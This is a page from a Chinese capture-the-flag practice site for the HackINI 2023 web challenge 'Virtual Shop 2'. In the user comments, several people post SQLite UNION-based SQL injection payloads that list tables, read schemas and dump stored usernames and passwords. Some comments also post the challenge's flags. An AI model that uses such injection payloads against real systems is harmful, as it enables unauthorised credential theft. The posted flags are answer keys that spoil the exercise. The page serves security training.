Virtual Shop 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一　　血: heyile
一血奖励: 0金币
解　　决: 212
提　　示:
描　　述:
I'm not making the same mistake again this time, you can't guess my\ \ tables now.\n \n\n **Author**: F100w
...
登录回复
评论
你不懂的吧 6天前
举报

3、查出具体表的字段： ' union SELECT pw789,null,null,null FROM UsEErrSS1337987 --+

回复 0
你不懂的吧 6天前
举报

1、查出表有哪些表： ' union SELECT name,null,null,null FROM sqlite_master WHERE type='table' ; 2、查出表有哪些列 ：' union SELECT sql,null,null,null FROM sqlite_master WHERE type='table' AND name='UsEErrSS1337987';

回复 0
smtall 1月前
举报

sqlmap使用hex编码提取数据（绕过限制）

回复 0
MoCaser 4月前
举报

我......我......我一把梭战神口牙！！

回复 0
wcsndm 8月前
举报

shellmates{iT_W4$_Not_TH4T_S3cuRE_4T_THe_END}

回复 0
t1tl3d 10月前
举报

shellmates{iT_W4$_Not_TH4T_S3cuRE_4T_THe_END}

回复 0
lq61618 1年前
举报

shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

回复 0
xiaobai568 1年前
举报

我写了个WP，描述了手工注入的过程

回复 0
啊这这 1年前
举报

我的sqlmap没跑出来 用的level3 不过我花了十几分钟学了一下sqlite使用 做出来了 还是不错的

回复 0
xiaoxiao972521 1年前
举报

不晓得，sqlmap一把过

回复 0
justsosoloveyou 1年前
举报

' UNION SELECT (select group_concat(sql) from sqlite_master WHERE type='table'),NULL,NULL,(select group_concat(usnme324||':'||pw789) FROM UsEErrSS1337987)--+

回复 0

WriteUp

image
sanshi

1 金币

立即查看

评分(0)

暂无评分

解题动态

17335918325 攻破了该题 13小时前
buuble123 攻破了该题 1天前
18516952839 攻破了该题 1天前
你不懂的吧 攻破了该题 6天前
violetyy 攻破了该题 16天前
hutouyu 攻破了该题 26天前
theo1234 攻破了该题 28天前
KKsama 攻破了该题 1月前
lunarbyside 攻破了该题 1月前
nuxe 攻破了该题 1月前
smtall 攻破了该题 1月前
llc123 攻破了该题 1月前
dongwanli 攻破了该题 1月前
senxiang 攻破了该题 1月前
zzcy 攻破了该题 1月前
cjydawn 攻破了该题 2月前
hxnter 攻破了该题 2月前
forces 攻破了该题 2月前
slience 攻破了该题 2月前
minhaf 攻破了该题 3月前
问题反馈